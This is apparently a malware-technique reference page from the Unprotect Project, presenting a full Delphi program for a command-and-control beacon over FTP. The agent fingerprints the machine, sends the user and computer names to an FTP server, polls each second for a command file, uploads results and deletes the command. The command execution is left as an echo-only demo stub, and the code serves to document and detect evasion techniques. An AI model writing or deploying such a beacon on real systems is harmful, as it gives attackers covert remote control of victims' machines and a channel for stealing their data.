(Delphi) C2 via FTP(S) by Jean-Pierre LESUEUR (DarkCoderSc)

Created the Monday 12 June 2023. Updated 5 months, 3 weeks ago.

Description:

This code snippet utilizes the Windows API, specifically the Wininet library, to execute FTP operations.

Code

            (*
 * =========================================================================================
 * www.unprotect.it (Unprotect Project)
 * Author:   Jean-Pierre LESUEUR (@DarkCoderSc)
 * =========================================================================================
 *)

  // WinApi Documentation
  // https://learn.microsoft.com/en-us/windows/win32/wininet/ftp-sessions?FWT_mc_id=DSEC-MVP-5005282

program FtpC2;

{$APPTYPE CONSOLE}

uses Winapi.Windows,
     Winapi.WinInet,
     System.Classes,
     System.SysUtils,
     System.IOUtils,
     System.hash;

type
  EFtpException = class(Exception);

  EWindowsException = class(Exception)
  private
    FLastError : Integer;
  public
    {@C}
    constructor Create(const WinAPI : String); overload;

    {@G}
    property LastError : Integer read FLastError;
  end;

  TDaemon = class(TThread)
  private
    FAgentSession : TGUID;
    FFtpHost      : String;
    FFtpPort      : Word;
    FFtpUser      : String;
    FFtpPassword  : String;
  protected
    procedure Execute(); override;
  public
    {@C}
    constructor Create(const AFtpHost, AFtpUser, AFtpPassword : String; const AFtpPort : Word = INTERNET_DEFAULT_FTP_PORT); overload;
  end;

  TFtpHelper = class
  private
    FInternetHandle : HINTERNET;
    FFtpHandle      : HINTERNET;

    FFtpHost        : String;
    FFtpPort        : Word;
    FFtpUser        : String;
    FFtpPassword    : String;

    {@M}
    function IsConnected() : Boolean;
    procedure CheckConnected();
  public
    {@M}
    procedure Connect();
    procedure Disconnect();

    procedure Browse(const ADirectory : String);

    procedure UploadStream(var AStream : TMemoryStream; const AFileName : String);
    function DownloadStream(const AFileName : String) : TMemoryStream;

    procedure UploadString(const AContent, AFileName : String);
    function DownloadString(const AFileName : String) : String;

    function GetCurrentDirectory() : String;
    procedure SetCurrentDirectory(const APath : String);

    function DirectoryExists(const ADirectory : String) : Boolean;
    procedure CreateDirectory(const ADirectoryName : String; const ADoBrowse : Boolean = False);
    procedure CreateOrBrowseDirectory(const ADirectoryName : String);
    procedure DeleteFile(const AFileName : String);

    {@C}
    constructor Create(const AFtpHost : String; const AFtpPort : Word; const AFtpUser, AFtpPassword : String; const AAgent : String = 'FTP'); overload;
    constructor Create(const AFtpHost, AFtpUser, AFtpPassword : String) overload;

    destructor Destroy(); override;

    {@G}
    property Connected : Boolean read IsConnected;
  end;

(* EWindowsException *)

{ EWindowsException.Create }
constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
  FLastError := GetLastError();

  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
      WinAPI,
      FLastError,
      SysErrorMessage(FLastError)
  ]);

  // [+] ERROR_INTERNET_EXTENDED_ERROR

  ///
  inherited Create(AFormatedMessage);
end;

(* TFtpHelper *)

{ TFtpHelper.Create }
constructor TFtpHelper.Create(const AFtpHost : String; const AFtpPort : Word; const AFtpUser, AFtpPassword : String; const AAgent : String = 'FTP');
begin
  inherited Create();
  ///

  FFtpHost     := AFtpHost;
  FFtpPort     := AFtpPort;
  FFtpUser     := AFtpUser;
  FFtpPassword := AFtpPassword;

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenw?FWT_mc_id=DSEC-MVP-5005282
  FInternetHandle := InternetOpenW(PWideChar(AAgent), INTERNET_OPEN_TYPE_DIRECT, nil, nil, 0);
  if not Assigned(FInternetHandle) then
    raise EWindowsException.Create('InternetOpenW');
end;

{ TFtpHelper.Create }
constructor TFtpHelper.Create(const AFtpHost, AFtpUser, AFtpPassword : String);
begin
  Create(AFtpHost, INTERNET_DEFAULT_FTP_PORT, AFtpuser, AFtpPassword);
end;

{ TFtpHelper.Destroy }
destructor TFtpHelper.Destroy();
begin
  self.Disconnect();
  ///

  if Assigned(FInternetHandle) then
    InternetCloseHandle(FInternetHandle);

  ///
  inherited Destroy();
end;

{ TFtpHelper.Connect }
procedure TFtpHelper.Connect();
begin
  if IsConnected() then
    self.Disconnect();
  ///

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetconnectw?FWT_mc_id=DSEC-MVP-5005282
  FFtpHandle := InternetConnectW(
    FInternetHandle,
    PWideChar(FFtpHost),
    FFtpPort,
    PWideChar(FFtpUser),
    PWideChar(FFtpPassword),
    INTERNET_SERVICE_FTP,
    INTERNET_FLAG_PASSIVE,
    0
  );

  if not Assigned(FFtpHandle) then
    raise EWindowsException.Create('InternetConnectW');
end;

{ TFtpHelper.Browse }
procedure TFtpHelper.Browse(const ADirectory: string);
begin
  CheckConnected();
  ///

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpsetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282
  if not FtpSetCurrentDirectoryW(FFtpHandle, PWideChar(ADirectory)) then
    raise EWindowsException.Create('FtpSetCurrentDirectoryW');
end;

{ TFtpHelper.UploadStream }
procedure TFtpHelper.UploadStream(var AStream : TMemoryStream; const AFileName : String);
var hFtpFile      : HINTERNET;
    ABytesRead    : Cardinal;
    ABuffer       : array[0..8192 -1] of byte;
    ABytesWritten : Cardinal;
    AOldPosition  : Cardinal;
begin
  CheckConnected();
  ///

  if not Assigned(AStream) then
    Exit();

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpopenfilew?FWT_mc_id=DSEC-MVP-5005282
  hFtpFile := FtpOpenFileW(FFtpHandle, PWideChar(AFileName), GENERIC_WRITE, FTP_TRANSFER_TYPE_BINARY, INTERNET_FLAG_RELOAD);
  if not Assigned(hFtpFile) then
    raise EWindowsException.Create('FtpOpenFileW');
  try
    if AStream.Size = 0 then
      Exit();
    ///

    AOldPosition := AStream.Position;

    AStream.Position := 0;
    repeat
      ABytesRead := AStream.Read(ABuffer, SizeOf(ABuffer));
      if ABytesRead = 0 then
        break;

      // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetwritefile?FWT_mc_id=DSEC-MVP-5005282
      if not InternetWriteFile(hFtpFile, @ABuffer, ABytesRead, ABytesWritten) then
        raise EWindowsException.Create('InternetWriteFile');


    until (ABytesRead = 0);

    ///
    AStream.Position := AOldPosition;
  finally
    InternetCloseHandle(hFtpFile);
  end;
end;

{ TFtpHelper.DownloadStream }
function TFtpHelper.DownloadStream(const AFileName : String) : TMemoryStream;
var hFtpFile   : HINTERNET;
    ABuffer    : array[0..8192 -1] of byte;
    ABytesRead : Cardinal;
begin
  result := nil;
  ///

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetreadfile?FWT_mc_id=DSEC-MVP-5005282
  hFtpFile := FtpOpenFileW(FFtpHandle, PWideChar(AFileName), GENERIC_READ, FTP_TRANSFER_TYPE_BINARY, INTERNET_FLAG_RELOAD);
  if not Assigned(hFtpFile) then
    raise EWindowsException.Create('FtpOpenFileW');
  try
    result := TMemoryStream.Create();
    ///

    while true do begin
      if not InternetReadFile(hFtpFile, @ABuffer, SizeOf(ABuffer), ABytesRead) then
        break;

      if ABytesRead = 0 then
        break;

      result.Write(ABuffer, ABytesRead);

      if ABytesRead <> SizeOf(ABuffer) then
        break;
    end;

    ///
    result.Position := 0;
  finally
    InternetCloseHandle(hFtpFile);
  end;
end;

{ TFtpHelper.UploadString }
procedure TFtpHelper.UploadString(const AContent, AFileName : String);
var AStream       : TMemoryStream;
    AStreamWriter : TStreamWriter;
begin
  AStreamWriter := nil;
  ///

  AStream := TMemoryStream.Create();
  try
    AStreamWriter := TStreamWriter.Create(AStream, TEncoding.UTF8);
    ///

    AStreamWriter.Write(AContent);

    ///
    self.UploadStream(AStream, AFileName);
  finally
    if Assigned(AStreamWriter) then
      FreeAndNil(AStreamWriter)
    else if Assigned(AStream) then
      FreeAndNil(AStreamWriter);
  end;
end;

{ TFtpHelper.DownloadString }
function TFtpHelper.DownloadString(const AFileName : String) : String;
var AStream       : TMemoryStream;
    AStreamReader : TStreamReader;
begin
  result := '';
  ///

  AStreamReader := nil;
  ///

  AStream := self.DownloadStream(AFileName);
  if not Assigned(AStream) then
    Exit();
  try
    AStreamReader := TStreamReader.Create(AStream, TEncoding.UTF8);

    ///
    result := AStreamReader.ReadToEnd();
  finally
    if Assigned(AStreamReader) then
      FreeAndNil(AStreamReader)
    else if Assigned(AStream) then
      FreeAndNil(AStream);
  end;
end;

{ TFtpHelper.GetCurrentDirectory }
function TFtpHelper.GetCurrentDirectory() : String;
var ALength : DWORD;
begin
  CheckConnected();
  ///

  result := '';

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpgetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282
  if not FtpGetCurrentDirectoryW(FFtpHandle, nil, ALength) then
    if GetLastError() <> ERROR_INSUFFICIENT_BUFFER then
      raise EWindowsException.Create('FtpGetCurrentDirectory(__call:1)');

  SetLength(result, ALength div SizeOf(WideChar));

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpgetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282
  if not FtpGetCurrentDirectoryW(FFtpHandle, PWideChar(result), ALength) then
    raise EWindowsException.Create('FtpGetCurrentDirectory(__call:2)');
end;

{ TFtpHelper.SetCurrentDirectory }
procedure TFtpHelper.SetCurrentDirectory(const APath : String);
begin
  CheckConnected();
  ///

  if not FtpSetCurrentDirectoryW(FFtpHandle, PWideChar(APath)) then
    raise EWindowsException.Create('FtpSetCurrentDirectoryW');
end;

{ TFtpHelper.DirectoryExists }
function TFtpHelper.DirectoryExists(const ADirectory : String) : Boolean;
var AOldDirectory : String;
begin
  CheckConnected();
  ///

  result := False;

  AOldDirectory := self.GetCurrentDirectory();
  try
    SetCurrentDirectory(ADirectory);
    try
      result := True;
    finally
      SetCurrentDirectory(AOldDirectory);
    end;
  except
    //on E : Exception do
    //  writeln(e.Message);
    // [+] Check with "ERROR_INTERNET_EXTENDED_ERROR" status
  end;
end;

{ TFtpHelper.CreateDirectory }
procedure TFtpHelper.CreateDirectory(const ADirectoryName : String; const ADoBrowse : Boolean = False);
begin
  CheckConnected();
  ///

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpcreatedirectoryw?FWT_mc_id=DSEC-MVP-5005282
  if not FtpCreateDirectoryW(FFtpHandle, PWideChar(ADirectoryName)) then
    raise EWindowsException.Create('FtpCreateDirectory');

  if ADoBrowse then
    self.Browse(ADirectoryName);
end;

{ TFtpHelper.CreateOrBrowseDirectory }
procedure TFtpHelper.CreateOrBrowseDirectory(const ADirectoryName : String);
begin
  if self.DirectoryExists(ADirectoryName) then
    self.Browse(ADirectoryName)
  else
    self.CreateDirectory(ADirectoryName, True);
end;

{ TFtpHelper.DeleteFile }
procedure TFtpHelper.DeleteFile(const AFileName : String);
begin
  CheckConnected();
  ///

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpdeletefilew?FWT_mc_id=DSEC-MVP-5005282
  if not FtpDeleteFileW(FFtpHandle, PWideChar(AFileName)) then
    raise EWindowsException.Create('FtpDeleteFileW');
end;

{ TFtpHelper.CheckConnected }
procedure TFtpHelper.CheckConnected();
begin
  if not IsConnected() then
    raise EFtpException.Create('Not connected to FTP Server.');
end;

{ TFtpHelper.Disconnect }
procedure TFtpHelper.Disconnect();
begin
  if Assigned(FFtpHandle) then
    InternetCloseHandle(FFtpHandle);
end;

{ TFtpHelper.IsConnected }
function TFtpHelper.IsConnected() : Boolean;
begin
  result := Assigned(FFtpHandle);
end;

(* TDaemon *)

{ TDaemon.Create }
constructor TDaemon.Create(const AFtpHost, AFtpUser, AFtpPassword : String; const AFtpPort : Word = INTERNET_DEFAULT_FTP_PORT);

  function GetMachineId() : TGUID;
  var ARoot                 : String;
      AVolumeNameBuffer     : String;
      AFileSystemNameBuffer : String;
      ADummy                : Cardinal;
      ASerialNumber         : DWORD;
      AHash                 : TBytes;
  begin
    ARoot := TPath.GetPathRoot(TPath.GetHomePath());
    ///

    SetLength(AVolumeNameBuffer, MAX_PATH +1);
    SetLength(AFileSystemNameBuffer, MAX_PATH +1);
    try
      // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationw?FWT_mc_id=DSEC-MVP-5005282
      if not GetVolumeInformationW(
        PWideChar(ARoot),
        PWideChar(AVolumeNameBuffer),
        Length(AVolumeNameBuffer),
        @ASerialNumber,
        ADummy,
        ADummy,
        PWideChar(AFileSystemNameBuffer),
        Length(AFileSystemNameBuffer)
      ) then
        Exit(TGUID.Empty);
      ///

      // Tiny but efficient trick to generate a fake GUID from a MD5 (32bit Hex Long)
      AHash := THashMD5.GetHashBytes(IntToStr(ASerialNumber));

      result := TGUID.Create(Format('{%.8x-%.4x-%.4x-%.4x-%.4x%.8x}', [
        PLongWord(@AHash[0])^,
        PWord(@AHash[4])^,
        PWord(@AHash[6])^,
        PWord(@AHash[8])^,
        PWord(@AHash[10])^,
        PLongWord(@AHash[12])^
      ]));
    finally
      SetLength(AVolumeNameBuffer, 0);
      SetLength(AFileSystemNameBuffer, 0);
    end;
  end;

begin
  inherited Create(False);
  ///

  FFtpHost     := AFtpHost;
  FFtpPort     := AFtpPort;
  FFtpUser     := AFtpUser;
  FFtpPassword := AFtpPassword;

  ///
  FAgentSession := GetMachineId();
end;

{ TDaemon.Execute }
procedure TDaemon.Execute();
var AFtp           : TFtpHelper;
    ACommand       : String;
    AContextPath   : String;
    AUserDomain    : String;
    ACommandResult : String;


const STR_COMMAND_PLACEHOLDER = '__command__';

type
  TWindowsInformationKind = (
    wikUserName,
    wikComputerName
  );

    { _.GetWindowsInformation }
    function GetWindowsInformation(const AKind : TWindowsInformationKind = wikUserName) : String;
    var ALength : cardinal;
    begin
      ALength := MAX_PATH + 1;

      SetLength(result, ALength);

      case AKind of
        wikUserName:
          // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getusernamea?FWT_mc_id=DSEC-MVP-5005282
          if not GetUserNameW(PWideChar(result), ALength) then
            raise EWindowsException.Create('GetUserNameW');
        wikComputerName:
          // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getcomputernamew?FWT_mc_id=DSEC-MVP-5005282
          if not GetComputerNameW(PWideChar(result), ALength) then
              raise EWindowsException.Create('GetComputerNameW');
      end;

      ///
      SetLength(result, ALength);

      result := Trim(result);
    end;

begin
  AFtp := TFtpHelper.Create(FFtpHost, FFtpPort, FFtpUser, FFtpPassword);
  try
    AUserDomain := Format('%s@%s', [
      GetWindowsInformation(),
      GetWindowsInformation(wikComputerName)]
    );

    AContextPath := Format('%s/%s', [
      FAgentSession.ToString(),
      AUserDomain
    ]);
    ///

    while not Terminated do begin
      ACommand := '';
      try
        AFtp.Connect();
        try
          // Create remote directory tree
          try
            AFtp.CreateOrBrowseDirectory(FAgentSession.ToString());

            AFtp.CreateOrBrowseDirectory(AUserDomain);
          except end;

          // Retrieve dedicated command
          try
            ACommand := AFtp.DownloadString(STR_COMMAND_PLACEHOLDER);
          except end;

          // Echo-back command result
          if not String.IsNullOrEmpty(ACommand) then begin
            // ... PROCESS ACTION / COMMAND HERE ... //
            // ...

            ACommandResult := Format('This is just a demo, so I echo-back the command: "%s".', [ACommand]);

            AFtp.UploadString(ACommandResult, Format('result.%s', [
              FormatDateTime('yyyy-mm-dd-hh-nn-ss', Now)])
            );

            // Delete the command file when processed
            try
              AFtp.DeleteFile(STR_COMMAND_PLACEHOLDER);
            except end;
          end;
        finally
          AFtp.Disconnect(); // We are in beacon mode
        end;
      except
        on E : Exception do
          WriteLn(Format('Exception: %s', [E.Message]));
      end;

      ///
      Sleep(1000);
    end;
  finally
    if Assigned(AFtp) then
      FreeAndNil(AFtp);

    ///
    ExitThread(0); //!important
  end;
end;

(* Code *)

procedure main();
var ADaemon : TDaemon;
begin
  ADaemon := TDaemon.Create('ftp.localhost', 'dark', 'toor');

  readln;
end;

(* EntryPoint *)
begin
  main();

end.